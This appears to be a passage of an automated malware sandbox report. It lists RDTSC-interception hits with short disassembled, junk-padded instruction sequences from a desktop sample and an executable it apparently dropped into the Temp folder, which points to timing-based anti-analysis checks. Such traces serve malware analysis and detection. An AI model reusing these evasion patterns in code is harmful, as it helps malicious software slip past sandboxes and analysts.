Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53508BE second address: 53508CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5A952DFC6Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 53508CE second address: 53508D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350A3F second address: 5350A93 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F5A952DFC79h 0x00000008 sbb si, A9A6h 0x0000000d jmp 00007F5A952DFC71h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 mov cl, bl 0x00000018 pop ecx 0x00000019 popad 0x0000001a je 00007F5B06035684h 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F5A952DFC72h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350A93 second address: 5350AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5A95268F21h 0x00000009 jmp 00007F5A95268F1Bh 0x0000000e popfd 0x0000000f movzx esi, di 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5A95268F1Ah 0x0000001f rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350AC9 second address: 5350ACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350B6A second address: 5350B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\oaBqkImU6R.exe	RDTSC instruction interceptor: First address: 5350B6E second address: 5350B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE3417 second address: AE342A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5A95268F1Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE3838 second address: AE3852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5A952DFC76h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE39DB second address: AE39E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F5A95268F16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE39E5 second address: AE39FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE39FE second address: AE3A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE3A02 second address: AE3A0E instructions: 0x00000000 rdtsc 0x00000002 je 00007F5A952DFC66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE3A0E second address: AE3A1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F5A95268F16h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE3A1A second address: AE3A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE58DD second address: AE58E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE5A2D second address: AE5A81 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F5A952DFC68h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov cx, 645Eh 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D3179h], edi 0x0000001c call 00007F5A952DFC69h 0x00000021 pushad 0x00000022 jc 00007F5A952DFC68h 0x00000028 push ebx 0x00000029 pop ebx 0x0000002a jmp 00007F5A952DFC76h 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F5A952DFC6Ah 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE5A81 second address: AE5A87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE5A87 second address: AE5B04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F5A952DFC6Ch 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 pushad 0x00000015 jc 00007F5A952DFC66h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 jmp 00007F5A952DFC6Ch 0x00000028 pop eax 0x00000029 mov ecx, dword ptr [ebp+122D1D09h] 0x0000002f adc di, 6981h 0x00000034 push 00000003h 0x00000036 mov edi, dword ptr [ebp+122D3D10h] 0x0000003c push 00000000h 0x0000003e add esi, dword ptr [ebp+122D3B5Ch] 0x00000044 push 00000003h 0x00000046 stc 0x00000047 call 00007F5A952DFC69h 0x0000004c jg 00007F5A952DFC78h 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push edi 0x00000056 pushad 0x00000057 popad 0x00000058 pop edi 0x00000059 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE5B04 second address: AE5B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE5B16 second address: AE5B1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AE5B1C second address: AE5B7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F20h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jo 00007F5A95268F18h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 jmp 00007F5A95268F1Ah 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d popad 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 jp 00007F5A95268F23h 0x00000028 jmp 00007F5A95268F1Dh 0x0000002d pop eax 0x0000002e movsx edi, dx 0x00000031 lea ebx, dword ptr [ebp+1244A5FEh] 0x00000037 sbb ecx, 46ED8332h 0x0000003d xchg eax, ebx 0x0000003e jno 00007F5A95268F2Fh 0x00000044 push eax 0x00000045 push edx 0x00000046 push edi 0x00000047 pop edi 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: ADC518 second address: ADC51E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B056CF second address: B056D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B056D3 second address: B056F2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5A952DFC77h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B05E25 second address: B05E30 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007F5A95268F16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B05E30 second address: B05E3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B05E3B second address: B05E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B05E41 second address: B05E4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B05E4A second address: B05E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B05FBE second address: B05FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F5A952DFC71h 0x0000000c pop edi 0x0000000d jng 00007F5A952DFC68h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B06170 second address: B0617C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5A95268F16h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B0617C second address: B0619E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC75h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B062E4 second address: B062E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B062E8 second address: B062F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B062F2 second address: B062F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B065D9 second address: B065E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B065E4 second address: B065E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B0674C second address: B06753 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AFBF97 second address: AFBF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B072E4 second address: B072EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B072EB second address: B0730B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F26h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F5A95268F16h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B0730B second address: B07319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B07476 second address: B0747C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B07767 second address: B0776D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B0776D second address: B07772 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B0CEAC second address: B0CEB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: AD248C second address: AD2498 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5A95268F1Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B12E19 second address: B12E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F5A952DFC66h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop edx 0x00000014 jno 00007F5A952DFC8Bh 0x0000001a push eax 0x0000001b push edx 0x0000001c js 00007F5A952DFC66h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B12483 second address: B124A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F5A95268F24h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B124A1 second address: B124BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F5A952DFC66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F5A952DFC6Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B12A10 second address: B12A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B12A14 second address: B12A18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B13C40 second address: B13C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B13CD8 second address: B13D0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5A952DFC78h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B13D0E second address: B13D55 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5A95268F2Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007F5A95268F23h 0x00000014 push ebx 0x00000015 jnp 00007F5A95268F16h 0x0000001b pop ebx 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B13D55 second address: B13D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B14B68 second address: B14B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F5A95268F18h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B14B78 second address: B14B7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B14D68 second address: B14D6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B14E58 second address: B14E67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A952DFC6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B14E67 second address: B14E6C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B152B2 second address: B152BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F5A952DFC66h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B152BF second address: B1532C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5A95268F21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d mov edi, dword ptr [ebp+122D274Ch] 0x00000013 push 00000000h 0x00000015 jmp 00007F5A95268F20h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F5A95268F18h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D1E75h], eax 0x0000003c mov esi, dword ptr [ebp+122D27DEh] 0x00000042 push eax 0x00000043 jo 00007F5A95268F22h 0x00000049 js 00007F5A95268F1Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B16D9A second address: B16DA0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B16DA0 second address: B16DB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B16DB2 second address: B16DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1651A second address: B1651E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1651E second address: B16524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B19979 second address: B199D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F5A95268F16h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 mov dword ptr [ebp+122D3012h], ebx 0x00000017 jmp 00007F5A95268F1Eh 0x0000001c push 00000000h 0x0000001e and esi, 68FEAF14h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push esi 0x00000029 call 00007F5A95268F18h 0x0000002e pop esi 0x0000002f mov dword ptr [esp+04h], esi 0x00000033 add dword ptr [esp+04h], 00000016h 0x0000003b inc esi 0x0000003c push esi 0x0000003d ret 0x0000003e pop esi 0x0000003f ret 0x00000040 mov si, 3739h 0x00000044 xchg eax, ebx 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 jl 00007F5A95268F16h 0x0000004e rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B199D4 second address: B199E9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5A952DFC66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d pop edi 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B19713 second address: B1972A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5A95268F16h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5A95268F1Ah 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B1972A second address: B19747 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F5A952DFC73h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B19747 second address: B19751 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F5A95268F16h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B18B10 second address: B18B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B18B15 second address: B18B1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\PT6MNTDM2CSK3U9W2989W1J.exe	RDTSC instruction interceptor: First address: B18B1B second address: B18B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
